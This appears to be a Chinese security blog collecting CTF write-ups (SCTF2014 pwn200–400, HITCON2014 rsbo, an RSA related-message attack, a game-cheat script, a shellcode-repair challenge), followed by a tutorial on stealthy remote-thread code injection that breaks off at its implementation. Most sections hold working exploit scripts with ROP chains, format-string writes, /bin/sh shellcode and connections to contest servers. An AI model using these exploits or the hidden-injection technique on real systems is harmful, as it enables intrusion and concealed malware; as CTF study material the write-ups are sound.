PWN200

漏洞分析

1
2
3
pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH pwn200

只启用了NX 接下来分析程序,程序很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ssize\_t \_\_cdecl sub_80484AC()
{
ssize_t result; // eax@3
char v1; // \[sp+1Ch\] \[bp-9Ch\]@1
int buf; // \[sp+9Ch\] \[bp-1Ch\]@1
int v3; // \[sp+A0h\] \[bp-18h\]@1
int v4; // \[sp+A4h\] \[bp-14h\]@1
int v5; // \[sp+A8h\] \[bp-10h\]@1
size_t n; // \[sp+ACh\] \[bp-Ch\]@1
n = 16;
buf = 0;
v3 = 0;
v4 = 0;
v5 = 0;
memset(&v1, 0, 0x80u);
write(1, "input name:", 12u);
read(0, &buf, n + 1); //读取17个字符到buf,存在一个字节的溢出,修改n的值
if ( strlen((const char *)&buf) - 1 > 9 || strncmp("syclover", (const char *)&buf, 8u) )
{
result = -1;
}
else
{
write(1, "input slogan:", 14u);
read(0, &v1, n); //n值被修改后溢出v1
result = write(1, &v1, n);
}
return result;
}

程序在read到buf时多读了一个字符,导致溢出修改n的值,之后read到v1时导致溢出控制程序流程。

漏洞利用

第一步先写入”sycloverx00x00123456xef”,其中xef就是覆盖变量n的字节。 之后程序调用read(0, &v1, n);时就可以读入payload 因为NX,所以采用ROP链执行。 题目提供了glibc.so,所以思路是先读取plt中__libc_start_main的地址,通过提供的glibc.so获取到system和__libc_start_main的偏移差计算出system的位置。

0003f430 w DF .text 0000008d GLIBC_2.0 system
000193e0 g DF .text 000001c2 GLIBC_2.0 __libc_start_main

地址偏移为 0x26050 之后将其写入.plt中__libc_start_main的位置。最后通过执行.got中__libc_start_main并置入参数sh来执行system(“sh”)获得shell。 exploit如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
'''
SCTF2014 pwn200 exp
yuf4n
'''
from zio import *
import struct
write_got = l32(0x080483A0)
read_got = l32(0x08048360)
lib\_main\_got = l32(0x08048390)
lib\_main\_plt = l32(0x0804985C)
ppppr = l32(0x08048645)
pppr = l32(0x08048646)
ppr = l32(0x080485bf)
\# io = zio('./pwn200',print_write=COLORED(REPR))
io = zio(('218.2.197.248',10001),print_write=COLORED(REPR))
payload0 = ''
payload0 += 'sycloverx00x00123456'+'xef' # second write len
payload1 = ''
\# second write
\# junk
payload1 += '1' * 0x9c
\# ebp
payload1 += '2345'
\# eip call write
payload1 += write_got
\# pppr
payload1 += pppr
\# write args
payload1 += l32(0x1)
payload1 += lib\_main\_plt
payload1 += l32(0x04)
\# read modify libmainplt
payload1 += read_got
\# pppr
payload1 += pppr
\# args
payload1 += l32(0x0)
payload1 += lib\_main\_plt
payload1 += l32(0x08)
\# lib_main(system)
payload1 += lib\_main\_got
payload1 += '1111'
payload1 += l32(0x0804985C+0x4)
\# print len(payload1)
io.read_until('input name:')
io.write(payload0)
io.read_until('input slogan:')
io.write(payload1)
buf = io.sock.recv(1024)
lib\_main\_add = struct.unpack('<I',buf\[-4:\])\[0\]
system\_add = lib\_main_add + 0x26050
print hex(lib\_main\_add)
\# io.gdb_hint()
payload2 = l32(system_add)
payload2 += 'shx00x00'
io.write(payload2+'n')
io.interact()

flag SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}

PWN300

1
2
3
pwn300: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH pwn300

题目也提供了glibc,而且pwn200进去以后发现三题都在一个服务器上。所以目测利用方法应该相似。

漏洞分析

在第三个功能显示message发现一个格式化溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int \_\_cdecl fun3\_sub_80487FA()
{
int result; // eax@1
char dest; // \[sp+1Ch\] \[bp-40Ch\]@1
int v2; // \[sp+41Ch\] \[bp-Ch\]@1
v2 = *MK\_FP(\_\_GS__, 20);
strcpy(&dest, src);
printf("Your message is:");
printf(src); // exploit
result = *MK\_FP(\_\_GS__, 20) ^ v2;
if ( *MK\_FP(\_\_GS__, 20) != v2 )
\_\_stack\_chk_fail();
return result;
}

而且之前还很配合的把src的内容复制到栈里。。。这样就有机会对任意地址进行修改

漏洞利用

利用格式化溢出漏洞可以对内存读取写入,所以可以利用pwn200的利用方式:读取PLT中__libc_main_start的地址,通过libc.so计算system的地址写入程序之后可能会用到的函数的GOT 通过调试发现输入buf的起点位于printf调用的第七个变量 读取.plt __libc_main_start的payload ‘x28x91x04x08%7$sn’ 接下来找一个接下来可能调用到的函数修改其PLT为system函数的地址。这个函数最好可以把“sh”作为参数放进去。于是我选择了memset函数 他在第二个功能中被用到,而且正好把src当参数调用,这样我们通过留言功能让src为”sh”就能调用system(“sh”)了。

1
2
3
4
5
6
int \_\_cdecl fun2\_sub_80487B6()
{
puts("input your message");
memset(src, 0, 0x400u);
return readbuf\_sub\_804866D((int)src, 1024);
}

下面是exploit,修改地址的时候利用了libformatstr库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
'''
SCTF2014 pwn300 exploit
yuf4n
'''
from libformatstr import *
from zio import *
import struct
\# io = zio('./pwn300',print_write=COLORED(REPR))
io = zio(('218.2.197.248',10002),print_write=COLORED(REPR))
memset\_plt\_addr = 0x08049130
p = FormatStr()
payload\_leak\_lib_main = 'x28x91x04x08%7$sn'
\# read \_\_lib\_main_start plt
io.read_until('your choice:')
io.write('2n')
io.read_until('your message')
io.write(payload\_leak\_lib_main)
io.read_until('your choice:')
io.write('3n')
io.read_until('message is:')
buf = io.read(8)
buf = buf\[-4:\]
systemaddr = struct.unpack('<I',buf)\[0\] + 0x26050
print 'SYSADDR',hex(systemaddr)
\# write memset_plt
p\[memset\_plt\_addr\] = systemaddr
payload = p.payload(7, start_len=0) + 'n'
\# io.gdb_hint()
io.read_until('your choice:')
io.write('2n')
io.read_until('your message')
io.write(payload)
io.write('3n')
\# set src=sh and call memset
io.read_until('your choice:')
io.write('2n')
io.read_until('message')
io.write('shn')
io.read_until('your choice:')
io.write('2n')
io.read_until('message')
io.write('shn')
io.interact()

flag SCTF{ZQzq2617}

PWN400

1
2
3
pwn400: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO Canary found NX disabled No PIE No RPATH No RUNPATH pwn400

这个NX都没有。

漏洞分析

程序是一个类似便签的功能。 每个note是用malloc申请的,用双向链表链接起来,目测是某个同学的C语言小作业吧。。 3号功能可以显示note空间的的首地址。 在4号功能修改note的功能发现一个堆溢出的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int \_\_cdecl fun4\_sub_8048D09(int a1)
{
size_t v1; // eax@4
int result; // eax@8
int v3; // \[sp+28h\] \[bp-410h\]@1
char buf; // \[sp+2Ch\] \[bp-40Ch\]@1
int v5; // \[sp+42Ch\] \[bp-Ch\]@1
v5 = *MK\_FP(\_\_GS__, 20);
memset(&buf, 0, 0x400u);
v3 = a1;
if ( a1 )
{
write(1, "note title:", 0xBu);
read(0, &buf, 0x400u);
while ( v3 )
{
v1 = strlen(&buf);
if ( !strncmp(&buf, (const char *)(v3 + 12), v1) )
break;
v3 = *(_DWORD *)(v3 + 8);
}
write(1, "input content:", 0xEu);
read(0, &buf, 0x400u);
strcpy((char *)(v3 + 108), &buf); // exploit
write(1, "succeed!", 8u);
puts((const char *)(v3 + 108));
}
else
{
write(1, "no notes", 8u);
}
result = *MK\_FP(\_\_GS__, 20) ^ v5;
if ( *MK\_FP(\_\_GS__, 20) != v5 )
\_\_stack\_chk_fail();
return result;
}

在5号功能删除note的功能发现一个类似dwrod shoot的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int \_\_cdecl sub\_8048E99(int a1)
{
int v1; // ST28_4@8
int v2; // ST2C_4@8
int result; // eax@10
__int32 ptr; // \[sp+24h\] \[bp-24h\]@3
int buf; // \[sp+32h\] \[bp-16h\]@1
int v6; // \[sp+36h\] \[bp-12h\]@1
__int16 v7; // \[sp+3Ah\] \[bp-Eh\]@1
int v8; // \[sp+3Ch\] \[bp-Ch\]@1
v8 = *MK\_FP(\_\_GS__, 20);
buf = 0;
v6 = 0;
v7 = 0;
if ( *(_DWORD *)a1 )
{
write(1, "note location:", 0xEu);
read(0, &buf, 8u);
ptr = strtol((const char *)&buf, 0, 16);
if ( *(_DWORD *)ptr == ptr )
{
if ( *(_DWORD *)a1 == ptr )
{
*(\_DWORD *)a1 = *(\_DWORD *)(*(_DWORD *)a1 + 8);
}
else
{
if ( *(_DWORD *)(ptr + 8) )
{
v1 = *(_DWORD *)(ptr + 8);
v2 = *(_DWORD *)(ptr + 4);
*(_DWORD *)(v2 + 8) = v1; // dword shoot
*(_DWORD *)(v1 + 4) = v2;
}
else
{
*(\_DWORD *)(*(\_DWORD *)(ptr + 4) + 8) = 0;
}
}
write(1, "succeed!nn", 0xAu);
free((void *)ptr);
}
}
else
{
write(1, "no notes", 8u);
}
result = *MK\_FP(\_\_GS__, 20) ^ v8;
if ( *MK\_FP(\_\_GS__, 20) != v8 )
\_\_stack\_chk_fail();
return result;
}

例如ptr = &note (note空间的基地址) 则可以进行 [ [ptr+4]+8 ] = [prt+8] [ [ptr+8]+4 ] = [ptr+4]

漏洞利用

思路是通过堆溢出漏洞可以覆盖到另外一个note的ptr+4 和 ptr+8。 之后利用这个dword shoot修改即将要调用的函数的plt到shellcode处。 shellcode前面要加一些nop,因为dword shoot的副作用会修改到shellcode。 具体操作:

  1. 新建3个note,我把shellcode放在第三个note的content里
  2. 查看他们的地址
  3. 溢出第一个note
  4. 删除第二个note,通过dword shoot修改write函数的plt为shellcode位置(有试过修改其他函数的,发现修改write可以成功。)
  5. 程序在dword shoot之后就有一个write调用,即进入shellcode

exploit如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
'''
SCTF2014 pwn400 exploit
yuf4n
'''
from zio import *
import struct
\# io = zio('./pwn400', print_write=COLORED(REPR), timeout=80000)
io = zio(('218.2.197.248',10003),print_write=COLORED(REPR))
exit_plt = 0x0804A46C
free_plt =0x0804A450
write_plt =0x0804A478
shellcode = "x90"*16+"x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
io.read_until('option--->>')
io.write('1n')
io.read_until('note title:')
io.write('1n')
io.read_until('note type:')
io.write('1n')
io.read_until('note content:')
io.write('1n')
io.read_until('option--->>')
io.write('1n')
io.read_until('note title:')
io.write('2n')
io.read_until('note type:')
io.write('2n')
io.read_until('note content:')
io.write('2n')
io.read_until('option--->>')
io.write('1n')
io.read_until('note title:')
io.write('3n')
io.read_until('note type:')
io.write('3n')
io.read_until('note content:')
io.write(shellcode+'n')
io.read_until('option--->>')
io.write('3n')
io.read_until('note title:')
io.write('3n')
buf = io.read_until('option--->>')
addr_3 = buf\[buf.find('location:0x')+len('location:0x'):buf.find('location:0x')+len('location:0x')+8\]
io.write('3n')
io.read_until('note title:')
io.write('2n')
buf = io.read_until('option--->>')
addr_2 = buf\[buf.find('location:0x')+len('location:0x'):buf.find('location:0x')+len('location:0x')+8\]
payload = '1'*0x100
payload += '2222'
\# addr2
payload += l32(int(addr_2,16))
\# ptr+4
payload += l32(write_plt-0x8)
\# ptr+8
payload += l32(int(addr_3,16)+108)
payload += 'efghijklmn'
io.write('4n')
io.read_until('title:')
io.write('1n')
io.read_until('content:')
io.write(payload+'n')
io.read_until('option--->>')
io.write('5n')
\# io.gdb_hint()
io.read_until('location:')
io.write(addr_2+'n')
io.interact()

flag SCTF{2318540E78446A0E84EF69685092F0C3}

Comment and share

0x01 rsbo

ELF 32-bit LSB executable 栈有随机化且不能执行 静态分析程序,有调试信息 read_80_bytes能读入0x80即128bytes到&v2,造成栈溢出 但输入后会进行一个混淆,所以使用0输入前0x60位,可覆盖过变量v5的位置,当随机替换v5处值与之前的0时即可退出循环 eip之后还有16bytes可用,考虑到栈不可执行,所以使用ROP方式,依次调用open,read,write来打开读取flag再写出,flag的路径在init函数中已经有了。 这边有两种思路,第一种就利用之后的16byte,因为空间很小,所以一次就调用一个函数,先调用open,之后ret回main。再次输入再次溢出时调用read,之后再次返回main,溢出后调用write 第二种就是先调用read或者read_80_bytes读入到.bss,之后ebp指向.bss进入ROP链 我是使用第二种,exp如下(没有网络通信部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python2.7
\# -*- coding: utf-8 -*-
'''
hitcon2014
rsbo
exp
'''
import struct
def main():
junk = struct.pack('<I', 0x00000000) * 26
bss = struct.pack('<I', 0x0804a040)
read\_80\_byte = struct.pack('<I', 0x0804865c)
leave_ret = struct.pack('<I', 0x0804867d)
opep_pid = struct.pack('<I', 0x08048420)
read_pid = struct.pack('<I', 0x080483e0)
write_pid = struct.pack('<I', 0x08048450)
pppr = struct.pack('<I', 0x0804879d)
ppr = struct.pack('<I', 0x0804879e)
buf = struct.pack('<I', 0x0804a080)
read_size = struct.pack('<I', 0x10)
flag_path = struct.pack('<I', 0x080487d0)
fd = struct.pack('<I', 0x3)
#send
payload1 = ''
payload1 += junk
#ebp
payload1 += bss
#call read\_80\_byte
payload1 += read\_80\_byte
#set esp=ebp=.bss
payload1 += leave_ret
#read\_80\_byre arg1
payload1 += bss
#junk
payload1 += struct.pack('<I',0x00) *2
#write to .bss
payload2 = ''
#ebp
payload2 += struct.pack('<I', 0x00)
#open
payload2 += opep_pid
#ppr
payload2 += ppr
#open arg
payload2 += flag_path
payload2 += struct.pack('<I',0x00)
#read
payload2 += read_pid
#pppr
payload2 += pppr
#read arg
payload2 += fd
payload2 += buf
payload2 += read_size
#write
payload2 += write_pid
#****
payload2 += pppr
#write arg
payload2 += struct.pack('<I',0x1)
payload2 += buf
payload2 += read_size
payload = payload1 + payload2
print payload
if \_\_name\_\_ == '\_\_main\_\_':
main()

0x02 rsaha

这个是利用RSA的低指数攻击 paperhttps://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf 用到了sage http://www.sagemath.org/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import socket
def get_m(n,c1,c2):
e=3
x = PolynomialRing(ZZ.quo(n*ZZ), 'x').gen()
f=x**e-c1
g=(x+1)**e-c2
a = f
b = g
i = 0
while True:
r = a % b
#print i
if r == 0:
#print 'FOUND %s' % rp
c = rp.coeffs()
return int(-pow(c\[1\], -1, n) * c\[0\])
rp = r
a, b = b, r
i += 1
sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
sock.connect(('54.64.40.172', 5454))
recv = sock.recv(100000)
print repr(recv)
n = int(recv)
recv = sock.recv(100000)
c = recv.split('n')
c1 = int(c\[1\])
c2 = int(c\[2\])
print 'n:%d' % n
print 'c1:%d' % c1
print 'c2:%d' % c2
m = get_m(n,c1,c2)
print m
sock.send("%dn" % m)
recv = sock.recv(100000)
print repr(recv)
for i in range(9):
recv = sock.recv(100000)
print repr(recv)
c = recv.split('n')
print c
n = int(c\[1\])
c1 = int(c\[2\])
c2 = int(c\[3\])
print 'n:%d' % n
print 'c1:%d' % c1
print 'c2:%d' % c2
m = get_m(n,c1,c2)
print 'm:%d' % m
sock.send("%dn" % m)
recv = sock.recv(100000)
print repr(recv)

0x03 finger

是ginger的简单版,因为出题人留bug了所以变简单了。。 分析程序,一开始出3个字符串,自己选一个,BOSS选一个。 三个字符串是循环取胜的关系,相当于要跟boss比猜拳。 你先选一个,然后发送这个字符串开头的16位字符串的md5给它,然后boss告诉你它选了什么,之后你再发你选了什么。比胜负。 那个验证的部分我说的简单了,ginger就是要绕过这个验证部分。 finger的话有个bug。如果你作弊了,就是前后不一的话扣1血。你赢了boss它扣1-3血,所以总是可以赢的。 下面是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python2.7
\# -*- coding: utf-8 -*-
'''
Created on 2014年8月17日
@author: yf
'''
import socket
import md5
import re
import time
def get_md5(hand):
return int(md5.md5(hand).hexdigest(),16)
if \_\_name\_\_ == '\_\_main\_\_':
sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
sock.connect(('210.71.253.236',7171))
#round num
recv = sock.recv(1024)
recv = sock.recv(1024)
recv = recv.split('n')
hands=\[\]
print recv\[3\]\[9:\]
hands = eval (recv\[3\]\[9:\])
secret = hands\[2\]+'11111111111'
sock.send("1n")
recv = sock.recv(1024)
print recv
sock.send("%dn" % get_md5(secret))
time.sleep(2)
recv = sock.recv(1024)
print recv
his_hand = recv\[recv.find('e:')+3:recv.find('e:')+8\]
print 'HIS:'+his_hand
if his_hand==hands\[0\]:
sock.send('111n')
else:
sock.send(secret+'n')
recv = sock.recv(1024)
print recv
while 1:
#new round
time.sleep(0.5)
recv = sock.recv(1024)
print recv
recv = recv.split('n')
print recv
hands = eval (recv\[4\]\[9:\])
secret = hands\[2\]+'11111111111'
sock.send("1n")
recv = sock.recv(1024)
print recv
sock.send("%dn" % get_md5(secret))
time.sleep(2)
recv = sock.recv(1024)
print recv
his_hand = recv\[recv.find('e:')+3:recv.find('e:')+8\]
print 'HIS:'+his_hand
if his_hand==hands\[0\]:
sock.send('111n')
else:
sock.send(secret+'n')
recv = sock.recv(1024)
print recv

Comment and share

题目说明

本道题目中的MFC_ASM.exe是一个有漏洞的可执行程序:它会去读取服务器上的一段包含shellcode的文件Exploit.html。 但是,该Exploit.html文件的shellcode并不能直接执行。分析MFC_ASM.exe引发漏洞的代码片段,并修改 Exploit.html文件中的shellcode布局,以便让MFC_ASM.exe正常执行,以便得到KEY。 先搭建该EXE的执行环境: 1、在本地安装appserv[如果不知道appserv是啥,请自行so.com一下],配置HTTP端口为80 2、将您修改后的Exploit.html以及压缩包中的shell.dat复制到www目录下 3、运行MFC_ASM.exe,如果您成功修复了该Exploit.html,会弹出key,否则,崩溃

MFC_ASM.EXE分析

(先吐槽下那个网站上的题解根本就是抄题目加放KEY啊- -) 逆向一下可以找到溢出的函数,MFC_ASM.EXE就是上网页把exploit.html下下来,同时栈溢出了。。 这样分析应该是MFC_ASM.EXE从exploit.html下载信息导致溢出,之后触发shellcode然后对shell.bat进行操作,之后导致弹窗。 原先使用时 此程序返回时,返回地址被覆盖为83EC8B55,此数值在shellcode中,目测是eip没有覆盖准?然后跳转出错。所以先试试准确跳到shellcode中。

准确进入shellcode

先找到shellcode的入口点,通过IDA慢慢找,发现程序入口点在CDD处,之后有些定位API和准备需要的127.0.0.1 /shell.dat字符串等操作 直接将返回地址改为shellcode的入口处0012EB69,然后抬高栈顶,然后运行试一试。。 直接就出KEY了。。。

修复Exploit.html

目测是Exploit.html的返回地址覆盖不准确,稍微修改下即可。 修改是沿着调试的方法直接把eip位置改到一个空白的地方,然后将原来的代码修复,抬高栈顶,然后跳入shellcode入口 Exploit_fixed 当时比赛的时候和大神最后3小时都在做这道题,其他都没做……结果还没做出来,真是坑爹啊。。。 看小伙伴们在群里交流,自己又拿出来看了看。。。结果- -更坑爹 题目:exploit

Comment and share

通过CreateRemoteThread&WriteProcessMemory实现远程线程注入,没有通过加载DLL注入,有更好的隐蔽性。 参考:http://www.vckbase.com/index.php/wv/1653/

0x01前言

远程线程技术指的是通过在其他进程中创建新线程的方法进入该进程的内存地址空间,从而获得对该进程的控制权的方法。 在进程中可以通过CreateThread函数创建线程,被创建的新线程与主线程共享地址空间以及其他的资源。同样,通过CreateRemoteThread函数可以在其他进程内创建新线程,新创建的的远程线程可以共享远程进程的地址空间。 所以通过在远程进程中创建新的方法,就可以进入到远程进程的内存地址空间,也就拥有了和那个远程进程相当的权限,可以在远程进程中执行代码,从而达到远程进程控制、进程隐藏的目的。

0x02基本原理

思路: 将程序自身映像写入远程线程然后进行重定位 然后创建远程线程调用其中的入口函数 之后线程运行后先写好AIT 其实就是手动完成PE loader进行模块导入时重定向和写AIT。 可以先看实现代码再回头看,实现代码注释比较详细。。

1.OpenProcess获得远程进程句柄

1
hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwProcessID);

2.VirtualAllocEx在远程进程申请空间,申请大小为程序自身映像大小。

1
lpInjectPoint = (LPBYTE)VirtualAllocEx(hRemoteProcess, 0, dwImageSize, MEM\_COMMIT, PAGE\_EXECUTE_READWRITE);

3.将程序自身的映像的的重定位并且写入远程线程

1
RelocCode(lpNewMoudle, lpInjectPoint); WriteProcessMemory(hRemoteProcess, lpInjectPoint, lpNewMoudle, dwImageSize, NULL);

4.运行远程线程

得到ThreadEntry在远程进程中的地址,利用函数在模块中的相对地址+注入点地址 lpRemoteEntryPoint = (LPTHREAD_START_ROUTINE)(lpInjectPoint + (DWORD)fnRemoteThread_Main - lpMoudle); 将插入点地址作为参数传递给线程函数 lpParam = lpInjectPoint; 运行远程线程 hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, lpRemoteEntryPoint, lpParam, 0, NULL);

5.远程线程运行的入口函数

1
2
3
4
5
6
7
//CreateRemoteThread的线程运行入口
DWORD ThreadEntry(LPBYTE lpImageBase)
{
if (LoadAPI(lpImageBase))//先完成API函数的导入工作
RemoteThread\_Main((HINSTANCE)lpImageBase); //执行函数RemoteThread\_Main中的代码
return 0;
}

先运行LoadAPI函数写入AIT,之后调用自己的编写的fnRemoteThread_Main函数执行自己的操作

6.其中的重定位及AIT操作

重定位表

参考http://hi.baidu.com/_achillis/item/7e324e08db884b94a2df4313 重定位表由一个个的重定位块组成,如果重定位表存在的话,必定是至少有一个重定位块。 因为每个块只负责定位0x1000大小范围内的数据,因此如果要定位的数据范围比较大的话, 就会有多个重定位块存在。 每个块的首部是如下定义:

1
2
3
4
typedef struct \_IMAGE\_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE\_BASE\_RELOCATION;

把内存中需要重定位的数据按页的大小0x1000分为若干个块,而这个VirtualAddress就是每个块的起始RVA.只知道块的RVA当然还不行,我们要知道每一个需要重定位数据的具体地址。 每个需重定位的数据其地址及定位方式用两个字节来表示,记为RelocData,紧跟在IMAGE_BASE_RELOCATION结构之后。

每个块中重定位信息的个数

这个可由每个块结构中的Size来确定。Size的值是以DWORD表示的当前整个块的大小,先减去IMAGE_BASE_RELOCATION的大小,因为重定位数据是16位WORD的,再除以2,就得到个重定位数据的个数。

遍历每个重定位块

由Size可以直接到达下一个重定位块即当前块地址+Size 某个块首结构的VirtualAddress为0,表明重定位表结束。

修改每个需重定位的地址

每个16位重定位信息包括低12位的重定位位置和高4位的重定位类型。要得到重定位的RVA,IMAGE_BASE_RELOCATION’的’VirtualAddress’需要加上12位位置偏移量. 类型可以查询MSDN 以一个重定位数据0x34AC为例,其高四位表明了重定位类型为3,即IMAGE_REL_BASED_HIGHLOW,Win32环境下的重定位基本都是这个类型的。 其低12位则表明了相对于VirtualAddress的RVA偏移量。VirtualAddress即需重定位的数据块的起始RVA,再加上这低12位的值就得到了具体的需要进行重定位处理的数据的RVA。 就是说: 要进行重定位处理的数据的RVA=VirtualAddress+RelocData&0x0FFF 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//完成重定位
static void RelocCode(LPBYTE lpImage, LPBYTE lpInjectBase)
{
DWORD dwRva = 0, dwRvaCount = 0, dwRelocOffset = 0;
LPWORD lpwOffset = NULL;
PIMAGE\_NT\_HEADERS pNtHeader = NULL;
LPBYTE lpRelocTable;
PIMAGE\_BASE\_RELOCATION pBaseReloc;
//获取ntheader
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpImage + ((PIMAGE\_DOS\_HEADER)lpImage)->e_lfanew);
//获取重定位表位置
lpRelocTable = lpImage + pNtHeader->OptionalHeader.DataDirectory\[5\].VirtualAddress;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
//获取重定位表偏移
dwRelocOffset = (DWORD)lpInjectBase - pNtHeader->OptionalHeader.ImageBase;
//遍历重定位表,修正需要重定位的代码
while (pBaseReloc->VirtualAddress != NULL)
{
lpwOffset = (WORD*)(lpRelocTable + sizeof(IMAGE\_BASE\_RELOCATION));
dwRvaCount = (pBaseReloc->SizeOfBlock - sizeof(IMAGE\_BASE\_RELOCATION)) / 2;
//循环修正
for (DWORD i = 0; i < dwRvaCount; i++)
{
//获取要修正的RVA
dwRva = (DWORD)lpImage + (pBaseReloc->VirtualAddress) + (DWORD)(*lpwOffset & 0x0fff);
//RVA加上修正量进行修正
*(DWORD*)dwRva += dwRelocOffset;
lpwOffset++;
}
//指向下一页重定位信息处
lpRelocTable += pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
}
}

写入AIT表

实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//用于完成API函数的导入,参数为要插入代码处地址
BOOL CInjectCode::LoadAPI(LPBYTE lpInjectBase)
{
PIMAGE\_DOS\_HEADER pDosHeader = (PIMAGE\_DOS\_HEADER)lpInjectBase;
PIMAGE\_NT\_HEADERS pNtHeader = (PIMAGE\_NT\_HEADERS)(lpInjectBase + pDosHeader->e_lfanew);
PIMAGE\_IMPORT\_DESCRIPTOR pImportDescriptor = (PIMAGE\_IMPORT\_DESCRIPTOR)
(lpInjectBase + pNtHeader->OptionalHeader.DataDirectory\[1\].VirtualAddress);
for (; pImportDescriptor->OriginalFirstThunk != 0; pImportDescriptor++)//遍历导入表
{
HMODULE hDll = LoadLibraryA((LPCSTR)(lpInjectBase + pImportDescriptor->Name));
//上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的
if (hDll == NULL)
return FALSE;
PIMAGE\_THUNK\_DATA Origin = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->OriginalFirstThunk);
PIMAGE\_THUNK\_DATA First = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->FirstThunk);
LPCSTR Name = NULL;
PIMAGE\_IMPORT\_BY\_NAME Import\_name = NULL;
for (; Origin->u1.Ordinal != 0; Origin++, First++)
{
if (Origin->u1.Ordinal & IMAGE\_ORDINAL\_FLAG)
Name = (LPCSTR)IMAGE_ORDINAL(Origin->u1.Ordinal);
else
{
Import\_name = (PIMAGE\_IMPORT\_BY\_NAME)(lpInjectBase + (DWORD)(Origin->u1.AddressOfData));
Name = (LPCSTR)Import_name->Name;
}
First->u1.Function = (DWORD)GetProcAddress(hDll, Name);
//上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的
if (First->u1.Function == NULL)
return FALSE;
}
}
return TRUE;
}

0x03编程实现

编程的实现,注释的比较详细

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#pragma once
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <memory.h>
//完成重定位
static void RelocCode(LPBYTE lpImage, LPBYTE lpInjectBase)
{
DWORD dwRva = 0, dwRvaCount = 0, dwRelocOffset = 0;
LPWORD lpwOffset = NULL;
